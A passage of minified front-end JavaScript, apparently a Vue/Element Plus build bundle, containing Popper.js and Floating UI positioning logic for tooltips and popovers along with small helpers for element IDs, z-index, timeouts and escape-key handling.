e!="number"?e:d6(e,cf))};function YH(e){var t,n=e.state,r=e.name,o=e.options,i=n.elements.arrow,s=n.modifiersData.popperOffsets,a=Ri(n.placement),l=P1(a),u=[ao,Po].indexOf(a)>=0,c=u?"height":"width";if(!(!i||!s)){var f=GH(o.padding,n),p=H1(i),m=l==="y"?so:ao,g=l==="y"?Ho:Po,v=n.rects.reference[c]+n.rects.reference[l]-s[l]-n.rects.popper[c],I=s[l]-n.rects.reference[l],q=df(i),M=q?l==="y"?q.clientHeight||0:q.clientWidth||0:0,E=v/2-I/2,x=f[m],R=M-p[c]-f[g],K=M/2-p[c]/2+E,W=nd(x,K,R),j=l;n.modifiersData[r]=(t={},t[j]=W,t.centerOffset=W-K,t)}}function BH(e){var t=e.state,n=e.options,r=n.element,o=r===void 0?"[data-popper-arrow]":r;o!=null&&(typeof o=="string"&&(o=t.elements.popper.querySelector(o),!o)||!l6(t.elements.popper,o)||(t.elements.arrow=o))}var JH={name:"arrow",enabled:!0,phase:"main",fn:YH,effect:BH,requires:["popperOffsets"],requiresIfExists:["preventOverflow"]};function ic(e){return e.split("-")[1]}var VH={top:"auto",right:"auto",bottom:"auto",left:"auto"};function UH(e){var t=e.x,n=e.y,r=window,o=r.devicePixelRatio||1;return{x:rc(t*o)/o||0,y:rc(n*o)/o||0}}function _S(e){var t,n=e.popper,r=e.popperRect,o=e.placement,i=e.variation,s=e.offsets,a=e.position,l=e.gpuAcceleration,u=e.adaptive,c=e.roundOffsets,f=e.isFixed,p=s.x,m=p===void 0?0:p,g=s.y,v=g===void 0?0:g,I=typeof c=="function"?c({x:m,y:v}):{x:m,y:v};m=I.x,v=I.y;var q=s.hasOwnProperty("x"),M=s.hasOwnProperty("y"),E=ao,x=so,R=window;if(u){var K=df(n),W="clientHeight",j="clientWidth";if(K===mi(n)&&(K=Sa(n),bs(K).position!=="static"&&a==="absolute"&&(W="scrollHeight",j="scrollWidth")),K=K,o===so||(o===ao||o===Po)&&i===Kd){x=Ho;var H=f&&K===R&&R.visualViewport?R.visualViewport.height:K[W];v-=H-r.height,v*=l?1:-1}if(o===ao||(o===so||o===Ho)&&i===Kd){E=Po;var P=f&&K===R&&R.visualViewport?R.visualViewport.width:K[j];m-=P-r.width,m*=l?1:-1}}var U=Object.assign({position:a},u&&VH),X=c===!0?UH({x:m,y:v}):{x:m,y:v};if(m=X.x,v=X.y,l){var L;return Object.assign({},U,(L={},L[x]=M?"0":"",L[E]=q?"0":"",L.transform=(R.devicePixelRatio||1)<=1?"translate("+m+"px, "+v+"px)":"translate3d("+m+"px, "+v+"px, 0)",L))}return Object.assign({},U,(t={},t[x]=M?v+"px":"",t[E]=q?m+"px":"",t.transform="",t))}function FH(e){var t=e.state,n=e.options,r=n.gpuAcceleration,o=r===void 0?!0:r,i=n.adaptive,s=i===void 0?!0:i,a=n.roundOffsets,l=a===void 0?!0:a,u={placement:Ri(t.placement),variation:ic(t.placement),popper:t.elements.popper,popperRect:t.rects.popper,gpuAcceleration:o,isFixed:t.options.strategy==="fixed"};t.modifiersData.popperOffsets!=null&&(t.styles.popper=Object.assign({},t.styles.popper,_S(Object.assign({},u,{offsets:t.modifiersData.popperOffsets,position:t.options.strategy,adaptive:s,roundOffsets:l})))),t.modifiersData.arrow!=null&&(t.styles.arrow=Object.assign({},t.styles.arrow,_S(Object.assign({},u,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:l})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})}var f6={name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:FH,data:{}},Gf={passive:!0};function HH(e){var t=e.state,n=e.instance,r=e.options,o=r.scroll,i=o===void 0?!0:o,s=r.resize,a=s===void 0?!0:s,l=mi(t.elements.popper),u=[].concat(t.scrollParents.reference,t.scrollParents.popper);return i&&u.forEach(function(c){c.addEventListener("scroll",n.update,Gf)}),a&&l.addEventListener("resize",n.update,Gf),function(){i&&u.forEach(function(c){c.removeEventListener("scroll",n.update,Gf)}),a&&l.removeEventListener("resize",n.update,Gf)}}var h6={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:HH,data:{}},PH={left:"right",right:"left",bottom:"top",top:"bottom"};function Ch(e){return e.replace(/left|right|bottom|top/g,function(t){return PH[t]})}var DH={start:"end",end:"start"};function $S(e){return e.replace(/start|end/g,function(t){return DH[t]})}function D1(e){var t=mi(e),n=t.pageXOffset,r=t.pageYOffset;return{scrollLeft:n,scrollTop:r}}function X1(e){return oc(Sa(e)).left+D1(e).scrollLeft}function XH(e){var t=mi(e),n=Sa(e),r=t.visualViewport,o=n.clientWidth,i=n.clientHeight,s=0,a=0;return r&&(o=r.width,i=r.height,/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||(s=r.offsetLeft,a=r.offsetTop)),{width:o,height:i,x:s+X1(e),y:a}}function QH(e){var t,n=Sa(e),r=D1(e),o=(t=e.ownerDocument)==null?void 0:t.body,i=vl(n.scrollWidth,n.clientWidth,o?o.scrollWidth:0,o?o.clientWidth:0),s=vl(n.scrollHeight,n.clientHeight,o?o.scrollHeight:0,o?o.clientHeight:0),a=-r.scrollLeft+X1(e),l=-r.scrollTop;return bs(o||n).direction==="rtl"&&(a+=vl(n.clientWidth,o?o.clientWidth:0)-i),{width:i,height:s,x:a,y:l}}function Q1(e){var t=bs(e),n=t.overflow,r=t.overflowX,o=t.overflowY;return/auto|scroll|overlay|hidden/.test(n+o+r)}function p6(e){return["html","body","#document"].indexOf(Gi(e))>=0?e.ownerDocument.body:Bo(e)&&Q1(e)?e:p6(Zm(e))}function rd(e,t){var n;t===void 0&&(t=[]);var r=p6(e),o=r===((n=e.ownerDocument)==null?void 0:n.body),i=mi(r),s=o?[i].concat(i.visualViewport||[],Q1(r)?r:[]):r,a=t.concat(s);return o?a:a.concat(rd(Zm(s)))}function Tg(e){return Object.assign({},e,{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function _H(e){var t=oc(e);return t.top=t.top+e.clientTop,t.left=t.left+e.clientLeft,t.bottom=t.top+e.clientHeight,t.right=t.left+e.clientWidth,t.width=e.clientWidth,t.height=e.clientHeight,t.x=t.left,t.y=t.top,t}function e2(e,t){return t===s6?Tg(XH(e)):nc(t)?_H(t):Tg(QH(Sa(e)))}function $H(e){var t=rd(Zm(e)),n=["absolute","fixed"].indexOf(bs(e).position)>=0,r=n&&Bo(e)?df(e):e;return nc(r)?t.filter(function(o){return nc(o)&&l6(o,r)&&Gi(o)!=="body"}):[]}function e9(e,t,n){var r=t==="clippingParents"?$H(e):[].concat(t),o=[].concat(r,[n]),i=o[0],s=o.reduce(function(a,l){var u=e2(e,l);return a.top=vl(u.top,a.top),a.right=kp(u.right,a.right),a.bottom=kp(u.bottom,a.bottom),a.left=vl(u.left,a.left),a},e2(e,i));return s.width=s.right-s.left,s.height=s.bottom-s.top,s.x=s.left,s.y=s.top,s}function m6(e){var t=e.reference,n=e.element,r=e.placement,o=r?Ri(r):null,i=r?ic(r):null,s=t.x+t.width/2-n.width/2,a=t.y+t.height/2-n.height/2,l;switch(o){case so:l={x:s,y:t.y-n.height};break;case Ho:l={x:s,y:t.y+t.height};break;case Po:l={x:t.x+t.width,y:a};break;case ao:l={x:t.x-n.width,y:a};break;default:l={x:t.x,y:t.y}}var u=o?P1(o):null;if(u!=null){var c=u==="y"?"height":"width";switch(i){case tc:l[u]=l[u]-(t[c]/2-n[c]/2);break;case Kd:l[u]=l[u]+(t[c]/2-n[c]/2);break}}return l}function Rd(e,t){t===void 0&&(t={});var n=t,r=n.placement,o=r===void 0?e.placement:r,i=n.boundary,s=i===void 0?SH:i,a=n.rootBoundary,l=a===void 0?s6:a,u=n.elementContext,c=u===void 0?zc:u,f=n.altBoundary,p=f===void 0?!1:f,m=n.padding,g=m===void 0?0:m,v=c6(typeof g!="number"?g:d6(g,cf)),I=c===zc?EH:zc,q=e.rects.popper,M=e.elements[p?I:c],E=e9(nc(M)?M:M.contextElement||Sa(e.elements.popper),s,l),x=oc(e.elements.reference),R=m6({reference:x,element:q,strategy:"absolute",placement:o}),K=Tg(Object.assign({},q,R)),W=c===zc?K:x,j={top:E.top-W.top+v.top,bottom:W.bottom-E.bottom+v.bottom,left:E.left-W.left+v.left,right:W.right-E.right+v.right},H=e.modifiersData.offset;if(c===zc&&H){var P=H[o];Object.keys(j).forEach(function(U){var X=[Po,Ho].indexOf(U)>=0?1:-1,L=[so,Ho].indexOf(U)>=0?"y":"x";j[U]+=P[L]*X})}return j}function t9(e,t){t===void 0&&(t={});var n=t,r=n.placement,o=n.boundary,i=n.rootBoundary,s=n.padding,a=n.flipVariations,l=n.allowedAutoPlacements,u=l===void 0?Fl:l,c=ic(r),f=c?a?XS:XS.filter(function(g){return ic(g)===c}):cf,p=f.filter(function(g){return u.indexOf(g)>=0});p.length===0&&(p=f);var m=p.reduce(function(g,v){return g[v]=Rd(e,{placement:v,boundary:o,rootBoundary:i,padding:s})[Ri(v)],g},{});return Object.keys(m).sort(function(g,v){return m[g]-m[v]})}function n9(e){if(Ri(e)===U1)return[];var t=Ch(e);return[$S(e),t,$S(t)]}function r9(e){var t=e.state,n=e.options,r=e.name;if(!t.modifiersData[r]._skip){for(var o=n.mainAxis,i=o===void 0?!0:o,s=n.altAxis,a=s===void 0?!0:s,l=n.fallbackPlacements,u=n.padding,c=n.boundary,f=n.rootBoundary,p=n.altBoundary,m=n.flipVariations,g=m===void 0?!0:m,v=n.allowedAutoPlacements,I=t.options.placement,q=Ri(I),M=q===I,E=l||(M||!g?[Ch(I)]:n9(I)),x=[I].concat(E).reduce(function(te,le){return te.concat(Ri(le)===U1?t9(t,{placement:le,boundary:c,rootBoundary:f,padding:u,flipVariations:g,allowedAutoPlacements:v}):le)},[]),R=t.rects.reference,K=t.rects.popper,W=new Map,j=!0,H=x[0],P=0;P<x.length;P++){var U=x[P],X=Ri(U),L=ic(U)===tc,h=[so,Ho].indexOf(X)>=0,b=h?"width":"height",w=Rd(t,{placement:U,boundary:c,rootBoundary:f,altBoundary:p,padding:u}),A=h?L?Po:ao:L?Ho:so;R[b]>K[b]&&(A=Ch(A));var C=Ch(A),S=[];if(i&&S.push(w[X]<=0),a&&S.push(w[A]<=0,w[C]<=0),S.every(function(te){return te})){H=U,j=!1;break}W.set(U,S)}if(j)for(var z=g?3:1,k=function(te){var le=x.find(function(re){var de=W.get(re);if(de)return de.slice(0,te).every(function(ce){return ce})});if(le)return H=le,"break"},y=z;y>0;y--){var T=k(y);if(T==="break")break}t.placement!==H&&(t.modifiersData[r]._skip=!0,t.placement=H,t.reset=!0)}}var o9={name:"flip",enabled:!0,phase:"main",fn:r9,requiresIfExists:["offset"],data:{_skip:!1}};function t2(e,t,n){return n===void 0&&(n={x:0,y:0}),{top:e.top-t.height-n.y,right:e.right-t.width+n.x,bottom:e.bottom-t.height+n.y,left:e.left-t.width-n.x}}function n2(e){return[so,Po,Ho,ao].some(function(t){return e[t]>=0})}function i9(e){var t=e.state,n=e.name,r=t.rects.reference,o=t.rects.popper,i=t.modifiersData.preventOverflow,s=Rd(t,{elementContext:"reference"}),a=Rd(t,{altBoundary:!0}),l=t2(s,r),u=t2(a,o,i),c=n2(l),f=n2(u);t.modifiersData[n]={referenceClippingOffsets:l,popperEscapeOffsets:u,isReferenceHidden:c,hasPopperEscaped:f},t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-reference-hidden":c,"data-popper-escaped":f})}var s9={name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:i9};function a9(e,t,n){var r=Ri(e),o=[ao,so].indexOf(r)>=0?-1:1,i=typeof n=="function"?n(Object.assign({},t,{placement:e})):n,s=i[0],a=i[1];return s=s||0,a=(a||0)*o,[ao,Po].indexOf(r)>=0?{x:a,y:s}:{x:s,y:a}}function l9(e){var t=e.state,n=e.options,r=e.name,o=n.offset,i=o===void 0?[0,0]:o,s=Fl.reduce(function(c,f){return c[f]=a9(f,t.rects,i),c},{}),a=s[t.placement],l=a.x,u=a.y;t.modifiersData.popperOffsets!=null&&(t.modifiersData.popperOffsets.x+=l,t.modifiersData.popperOffsets.y+=u),t.modifiersData[r]=s}var u9={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:l9};function c9(e){var t=e.state,n=e.name;t.modifiersData[n]=m6({reference:t.rects.reference,element:t.rects.popper,strategy:"absolute",placement:t.placement})}var v6={name:"popperOffsets",enabled:!0,phase:"read",fn:c9,data:{}};function d9(e){return e==="x"?"y":"x"}function f9(e){var t=e.state,n=e.options,r=e.name,o=n.mainAxis,i=o===void 0?!0:o,s=n.altAxis,a=s===void 0?!1:s,l=n.boundary,u=n.rootBoundary,c=n.altBoundary,f=n.padding,p=n.tether,m=p===void 0?!0:p,g=n.tetherOffset,v=g===void 0?0:g,I=Rd(t,{boundary:l,rootBoundary:u,padding:f,altBoundary:c}),q=Ri(t.placement),M=ic(t.placement),E=!M,x=P1(q),R=d9(x),K=t.modifiersData.popperOffsets,W=t.rects.reference,j=t.rects.popper,H=typeof v=="function"?v(Object.assign({},t.rects,{placement:t.placement})):v,P=typeof H=="number"?{mainAxis:H,altAxis:H}:Object.assign({mainAxis:0,altAxis:0},H),U=t.modifiersData.offset?t.modifiersData.offset[t.placement]:null,X={x:0,y:0};if(K){if(i){var L,h=x==="y"?so:ao,b=x==="y"?Ho:Po,w=x==="y"?"height":"width",A=K[x],C=A+I[h],S=A-I[b],z=m?-j[w]/2:0,k=M===tc?W[w]:j[w],y=M===tc?-j[w]:-W[w],T=t.elements.arrow,te=m&&T?H1(T):{width:0,height:0},le=t.modifiersData["arrow#persistent"]?t.modifiersData["arrow#persistent"].padding:u6(),re=le[h],de=le[b],ce=nd(0,W[w],te[w]),we=E?W[w]/2-z-ce-re-P.mainAxis:k-ce-re-P.mainAxis,Ie=E?-W[w]/2+z+ce+de+P.mainAxis:y+ce+de+P.mainAxis,ge=t.elements.arrow&&df(t.elements.arrow),Me=ge?x==="y"?ge.clientTop||0:ge.clientLeft||0:0,se=(L=U==null?void 0:U[x])!=null?L:0,ue=A+we-se-Me,ve=A+Ie-se,ke=nd(m?kp(C,ue):C,A,m?vl(S,ve):S);K[x]=ke,X[x]=ke-A}if(a){var me,Ee=x==="x"?so:ao,Le=x==="x"?Ho:Po,Ae=K[R],be=R==="y"?"height":"width",xe=Ae+I[Ee],Re=Ae-I[Le],Ne=[so,ao].indexOf(q)!==-1,Se=(me=U==null?void 0:U[R])!=null?me:0,Ze=Ne?xe:Ae-W[be]-j[be]-Se+P.altAxis,Q=Ne?Ae+W[be]+j[be]-Se-P.altAxis:Re,J=m&&Ne?WH(Ze,Ae,Q):nd(m?Ze:xe,Ae,m?Q:Re);K[R]=J,X[R]=J-Ae}t.modifiersData[r]=X}}var h9={name:"preventOverflow",enabled:!0,phase:"main",fn:f9,requiresIfExists:["offset"]};function p9(e){return{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}}function m9(e){return e===mi(e)||!Bo(e)?D1(e):p9(e)}function v9(e){var t=e.getBoundingClientRect(),n=rc(t.width)/e.offsetWidth||1,r=rc(t.height)/e.offsetHeight||1;return n!==1||r!==1}function g9(e,t,n){n===void 0&&(n=!1);var r=Bo(t),o=Bo(t)&&v9(t),i=Sa(t),s=oc(e,o),a={scrollLeft:0,scrollTop:0},l={x:0,y:0};return(r||!r&&!n)&&((Gi(t)!=="body"||Q1(i))&&(a=m9(t)),Bo(t)?(l=oc(t,!0),l.x+=t.clientLeft,l.y+=t.clientTop):i&&(l.x=X1(i))),{x:s.left+a.scrollLeft-l.x,y:s.top+a.scrollTop-l.y,width:s.width,height:s.height}}function y9(e){var t=new Map,n=new Set,r=[];e.forEach(function(i){t.set(i.name,i)});function o(i){n.add(i.name);var s=[].concat(i.requires||[],i.requiresIfExists||[]);s.forEach(function(a){if(!n.has(a)){var l=t.get(a);l&&o(l)}}),r.push(i)}return e.forEach(function(i){n.has(i.name)||o(i)}),r}function b9(e){var t=y9(e);return LH.reduce(function(n,r){return n.concat(t.filter(function(o){return o.phase===r}))},[])}function I9(e){var t;return function(){return t||(t=new Promise(function(n){Promise.resolve().then(function(){t=void 0,n(e())})})),t}}function q9(e){var t=e.reduce(function(n,r){var o=n[r.name];return n[r.name]=o?Object.assign({},o,r,{options:Object.assign({},o.options,r.options),data:Object.assign({},o.data,r.data)}):r,n},{});return Object.keys(t).map(function(n){return t[n]})}var r2={placement:"bottom",modifiers:[],strategy:"absolute"};function o2(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return!t.some(function(r){return!(r&&typeof r.getBoundingClientRect=="function")})}function _1(e){e===void 0&&(e={});var t=e,n=t.defaultModifiers,r=n===void 0?[]:n,o=t.defaultOptions,i=o===void 0?r2:o;return function(s,a,l){l===void 0&&(l=i);var u={placement:"bottom",orderedModifiers:[],options:Object.assign({},r2,i),modifiersData:{},elements:{reference:s,popper:a},attributes:{},styles:{}},c=[],f=!1,p={state:u,setOptions:function(v){var I=typeof v=="function"?v(u.options):v;g(),u.options=Object.assign({},i,u.options,I),u.scrollParents={reference:nc(s)?rd(s):s.contextElement?rd(s.contextElement):[],popper:rd(a)};var q=b9(q9([].concat(r,u.options.modifiers)));return u.orderedModifiers=q.filter(function(M){return M.enabled}),m(),p.update()},forceUpdate:function(){if(!f){var v=u.elements,I=v.reference,q=v.popper;if(o2(I,q)){u.rects={reference:g9(I,df(q),u.options.strategy==="fixed"),popper:H1(q)},u.reset=!1,u.placement=u.options.placement,u.orderedModifiers.forEach(function(j){return u.modifiersData[j.name]=Object.assign({},j.data)});for(var M=0;M<u.orderedModifiers.length;M++){if(u.reset===!0){u.reset=!1,M=-1;continue}var E=u.orderedModifiers[M],x=E.fn,R=E.options,K=R===void 0?{}:R,W=E.name;typeof x=="function"&&(u=x({state:u,options:K,name:W,instance:p})||u)}}}},update:I9(function(){return new Promise(function(v){p.forceUpdate(),v(u)})}),destroy:function(){g(),f=!0}};if(!o2(s,a))return p;p.setOptions(l).then(function(v){!f&&l.onFirstUpdate&&l.onFirstUpdate(v)});function m(){u.orderedModifiers.forEach(function(v){var I=v.name,q=v.options,M=q===void 0?{}:q,E=v.effect;if(typeof E=="function"){var x=E({state:u,name:I,instance:p,options:M}),R=function(){};c.push(x||R)}})}function g(){c.forEach(function(v){return v()}),c=[]}return p}}_1();var w9=[h6,v6,f6,a6];_1({defaultModifiers:w9});var S9=[h6,v6,f6,a6,u9,o9,h9,JH,s9],E9=_1({defaultModifiers:S9});const A9=(e,t,n={})=>{const r={name:"updateState",enabled:!0,phase:"write",fn:({state:l})=>{const u=M9(l);Object.assign(s.value,u)},requires:["computeStyles"]},o=N(()=>{const{onFirstUpdate:l,placement:u,strategy:c,modifiers:f}=d(n);return{onFirstUpdate:l,placement:u||"bottom",strategy:c||"absolute",modifiers:[...f||[],r,{name:"applyStyles",enabled:!1}]}}),i=ln(),s=D({styles:{popper:{position:d(o).strategy,left:"0",top:"0"},arrow:{position:"absolute"}},attributes:{}}),a=()=>{i.value&&(i.value.destroy(),i.value=void 0)};return Ce(o,l=>{const u=d(i);u&&u.setOptions(l)},{deep:!0}),Ce([e,t],([l,u])=>{a(),!(!l||!u)&&(i.value=E9(l,u,d(o)))}),vn(()=>{a()}),{state:N(()=>{var l;return{...((l=d(i))==null?void 0:l.state)||{}}}),styles:N(()=>d(s).styles),attributes:N(()=>d(s).attributes),update:()=>{var l;return(l=d(i))==null?void 0:l.update()},forceUpdate:()=>{var l;return(l=d(i))==null?void 0:l.forceUpdate()},instanceRef:N(()=>d(i))}};function M9(e){const t=Object.keys(e.elements),n=Cp(t.map(o=>[o,e.styles[o]||{}])),r=Cp(t.map(o=>[o,e.attributes[o]]));return{styles:n,attributes:r}}const $1=e=>{if(!e)return{onClick:on,onMousedown:on,onMouseup:on};let t=!1,n=!1;return{onClick:s=>{t&&n&&e(s),t=n=!1},onMousedown:s=>{t=s.target===s.currentTarget},onMouseup:s=>{n=s.target===s.currentTarget}}},C9=(e,t=0)=>{if(t===0)return e;const n=D(!1);let r=0;const o=()=>{r&&clearTimeout(r),r=window.setTimeout(()=>{n.value=e.value},t)};return mt(o),Ce(()=>e.value,i=>{i?o():n.value=i}),n};function i2(){let e;const t=(r,o)=>{n(),e=window.setTimeout(r,o)},n=()=>window.clearTimeout(e);return vc(()=>n()),{registerTimeout:t,cancelTimeout:n}}const s2={prefix:Math.floor(Math.random()*1e4),current:0},k9=Symbol("elIdInjection"),eI=()=>bt()?Fe(k9,s2):s2,Jr=e=>{const t=eI(),n=J1();return N(()=>d(e)||`${n.value}-id-${t.prefix}-${t.current++}`)};let pu=[];const a2=e=>{const t=e;t.key===_e.esc&&pu.forEach(n=>n(t))},x9=e=>{mt(()=>{pu.length===0&&document.addEventListener("keydown",a2),Tt&&pu.push(e)}),vn(()=>{pu=pu.filter(t=>t!==e),pu.length===0&&Tt&&document.removeEventListener("keydown",a2)})};let l2;const g6=()=>{const e=J1(),t=eI(),n=N(()=>`${e.value}-popper-container-${t.prefix}`),r=N(()=>`#${n.value}`);return{id:n,selector:r}},O9=e=>{const t=document.createElement("div");return t.id=e,document.body.appendChild(t),t},z9=()=>{const{id:e,selector:t}=g6();return nm(()=>{Tt&&!l2&&!document.body.querySelector(t.value)&&(l2=O9(e.value))}),{id:e,selector:t}},K9=Ge({showAfter:{type:Number,default:0},hideAfter:{type:Number,default:200},autoClose:{type:Number,default:0}}),R9=({showAfter:e,hideAfter:t,autoClose:n,open:r,close:o})=>{const{registerTimeout:i}=i2(),{registerTimeout:s,cancelTimeout:a}=i2();return{onOpen:c=>{i(()=>{r(c);const f=d(n);nt(f)&&f>0&&s(()=>{o(c)},f)},d(e))},onClose:c=>{a(),i(()=>{o(c)},d(t))}}},y6=Symbol("elForwardRef"),L9=e=>{Ot(y6,{setForwardRef:n=>{e.value=n}})},Z9=e=>({mounted(t){e(t)},updated(t){e(t)},unmounted(){e(null)}}),u2={current:0},c2=D(0),b6=2e3,d2=Symbol("elZIndexContextKey"),I6=Symbol("zIndexContextKey"),wc=e=>{const t=bt()?Fe(d2,u2):u2,n=e||(bt()?Fe(I6,void 0):void 0),r=N(()=>{const s=d(n);return nt(s)?s:b6}),o=N(()=>r.value+c2.value),i=()=>(t.current++,c2.value=t.current,o.value);return!Tt&&Fe(d2),{initialZIndex:r,currentZIndex:o,nextZIndex:i}},Ng=Math.min,T9=Math.max,N9={left:"right",right:"left",bottom:"top",top:"bottom"},j9={start:"end",end:"start"};function jg(e,t,n){return T9(e,Ng(t,n))}function ff(e,t){return typeof e=="function"?e(t):e}function xl(e){return e.split("-")[0]}function hf(e){return e.split("-")[1]}function q6(e){return e==="x"?"y":"x"}function tI(e){return e==="y"?"height":"width"}function Tm(e){return["top","bottom"].includes(xl(e))?"y":"x"}function nI(e){return q6(Tm(e))}function W9(e,t,n){n===void 0&&(n=!1);const r=hf(e),o=nI(e),i=tI(o);let s=o==="x"?r===(n?"end":"start")?"right":"left":r==="start"?"bottom":"top";return t.reference[i]>t.floating[i]&&(s=xp(s)),[s,xp(s)]}function G9(e){const t=xp(e);return[Wg(e),t,Wg(t)]}function Wg(e){return e.replace(/start|end/g,t=>j9[t])}function Y9(e,t,n){const r=["left","right"],o=["right","left"],i=["top","bottom"],s=["bottom","top"];switch(e){case"top":case"bottom":return n?t?o:r:t?r:o;case"left":case"right":return t?i:s;default:return[]}}function B9(e,t,n,r){const o=hf(e);let i=Y9(xl(e),n==="start",r);return o&&(i=i.map(s=>s+"-"+o),t&&(i=i.concat(i.map(Wg)))),i}function xp(e){return e.replace(/left|right|bottom|top/g,t=>N9[t])}function J9(e){return{top:0,right:0,bottom:0,left:0,...e}}function w6(e){return typeof e!="number"?J9(e):{top:e,right:e,bottom:e,left:e}}function od(e){return{...e,top:e.y,left:e.x,right:e.x+e.width,bottom:e.y+e.height}}function f2(e,t,n){let{reference:r,floating:o}=e;const i=Tm(t),s=nI(t),a=tI(s),l=xl(t),u=i==="y",c=r.x+r.width/2-o.width/2,f=r.y+r.height/2-o.height/2,p=r[a]/2-o[a]/2;let m;switch(l){case"top":m={x:c,y:r.y-o.height};break;case"bottom":m={x:c,y:r.y+r.height};break;case"right":m={x:r.x+r.width,y:f};break;case"left":m={x:r.x-o.width,y:f};break;default:m={x:r.x,y:r.y}}switch(hf(t)){case"start":m[s]-=p*(n&&u?-1:1);break;case"end":m[s]+=p*(n&&u?-1:1);break}return m}const V9=async(e,t,n)=>{const{placement:r="bottom",strategy:o="absolute",middleware:i=[],platform:s}=n,a=i.filter(Boolean),l=await(s.isRTL==null?void 0:s.isRTL(t));let u=await s.getElementRects({reference:e,floating:t,strategy:o}),{x:c,y:f}=f2(u,r,l),p=r,m={},g=0;for(let v=0;v<a.length;v++){const{name:I,fn:q}=a[v],{x:M,y:E,data:x,reset:R}=await q({x:c,y:f,initialPlacement:r,placement:p,strategy:o,middlewareData:m,rects:u,platform:s,elements:{reference:e,floating:t}});c=M??c,f=E??f,m={...m,[I]:{...m[I],...x}},R&&g<=50&&(g++,typeof R=="object"&&(R.placement&&(p=R.placement),R.rects&&(u=R.rects===!0?await s.getElementRects({reference:e,floating:t,strategy:o}):R.rects),{x:c,y:f}=f2(u,p,l)),v=-1)}return{x:c,y:f,placement:p,strategy:o,middlewareData:m}};async function rI(e,t){var n;t===void 0&&(t={});const{x:r,y:o,platform:i,rects:s,elements:a,strategy:l}=e,{boundary:u="clippingAncestors",rootBoundary:c="viewport",elementContext:f="floating",altBoundary:p=!1,padding:m=0}=ff(t,e),g=w6(m),I=a[p?f==="floating"?"reference":"floating":f],q=od(await i.getClippingRect({element:(n=await(i.isElement==null?void 0:i.isElement(I)))==null||n?I:I.contextElement||await(i.getDocumentElement==null?void 0:i.getDocumentElement(a.floating)),boundary:u,rootBoundary:c,strategy:l})),M=f==="floating"?{...s.floating,x:r,y:o}:s.reference,E=await(i.getOffsetParent==null?void 0:i.getOffsetParent(a.floating)),x=await(i.isElement==null?void 0:i.isElement(E))?await(i.getScale==null?void 0:i.getScale(E))||{x:1,y:1}:{x:1,y:1},R=od(i.convertOffsetParentRelativeRectToViewportRelativeRect?await i.convertOffsetParentRelativeRectToViewportRelativeRect({elements:a,rect:M,offsetParent:E,strategy:l}):M);return{top:(q.top-R.top+g.top)/x.y,bottom:(R.bottom-q.bottom+g.bottom)/x.y,left:(q.left-R.left+g.left)/x.x,right:(R.right-q.right+g.right)/x.x}}const S6=e=>({name:"arrow",options:e,async fn(t){const{x:n,y:r,placement:o,rects:i,platform:s,elements:a,middlewareData:l}=t,{element:u,padding:c=0}=ff(e,t)||{};if(u==null)return{};const f=w6(c),p={x:n,y:r},m=nI(o),g=tI(m),v=await s.getDimensions(u),I=m==="y",q=I?"top":"left",M=I?"bottom":"right",E=I?"clientHeight":"clientWidth",x=i.reference[g]+i.reference[m]-p[m]-i.floating[g],R=p[m]-i.reference[m],K=await(s.getOffsetParent==null?void 0:s.getOffsetParent(u));let W=K?K[E]:0;(!W||!await(s.isElement==null?void 0:s.isElement(K)))&&(W=a.floating[E]||i.floating[g]);const j=x/2-R/2,H=W/2-v[g]/2-1,P=Ng(f[q],H),U=Ng(f[M],H),X=P,L=W-v[g]-U,h=W/2-v[g]/2+j,b=jg(X,h,L),w=!l.arrow&&hf(o)!=null&&h!==b&&i.reference[g]/2-(h<X?P:U)-v[g]/2<0,A=w?h<X?h-X:h-L:0;return{[m]:p[m]+A,data:{[m]:b,centerOffset:h-b-A,...w&&{alignmentOffset:A}},reset:w}}}),U9=function(e){return e===void 0&&(e={}),{name:"flip",options:e,async fn(t){var n,r;const{placement:o,middlewareData:i,rects:s,initialPlacement:a,platform:l,elements:u}=t,{mainAxis:c=!0,crossAxis:f=!0,fallbackPlacements:p,fallbackStrategy:m="bestFit",fallbackAxisSideDirection:g="none",flipAlignment:v=!0,...I}=ff(e,t);if((n=i.arrow)!=null&&n.alignmentOffset)return{};const q=xl(o),M=xl(a)===a,E=await(l.isRTL==null?void 0:l.isRTL(u.floating)),x=p||(M||!v?[xp(a)]:G9(a));!p&&g!=="none"&&x.push(...B9(a,v,g,E));const R=[a,...x],K=await rI(t,I),W=[];let j=((r=i.flip)==null?void 0:r.overflows)||[];if(c&&W.push(K[q]),f){const X=W9(o,s,E);W.push(K[X[0]],K[X[1]])}if(j=[...j,{placement:o,overflows:W}],!W.every(X=>X<=0)){var H,P;const X=(((H=i.flip)==null?void 0:H.index)||0)+1,L=R[X];if(L)return{data:{index:X,overflows:j},reset:{placement:L}};let h=(P=j.filter(b=>b.overflows[0]<=0).sort((b,w)=>b.overflows[1]-w.overflows[1])[0])==null?void 0:P.placement;if(!h)switch(m){case"bestFit":{var U;const b=(U=j.map(w=>[w.placement,w.overflows.filter(A=>A>0).reduce((A,C)=>A+C,0)]).sort((w,A)=>w[1]-A[1])[0])==null?void 0:U[0];b&&(h=b);break}case"initialPlacement":h=a;break}if(o!==h)return{reset:{placement:h}}}return{}}}};async function F9(e,t){const{placement:n,platform:r,elements:o}=e,i=await(r.isRTL==null?void 0:r.isRTL(o.floating)),s=xl(n),a=hf(n),l=Tm(n)==="y",u=["left","top"].includes(s)?-1:1,c=i&&l?-1:1,f=ff(t,e);let{mainAxis:p,crossAxis:m,alignmentAxis:g}=typeof f=="number"?{mainAxis:f,crossAxis:0,alignmentAxis:null}:{mainAxis:0,crossAxis:0,alignmentAxis:null,...f};return a&&typeof g=="number"&&(m=a==="end"?g*-1:g),l?{x:m*c,y:p*u}:{x:p*u,y:m*c}}const E6=function(e){return e===void 0&&(e=0),{name:"offset",options:e,async fn(t){var n,r;const{x:o,y:i,placement:s,middlewareData:a}=t,l=await 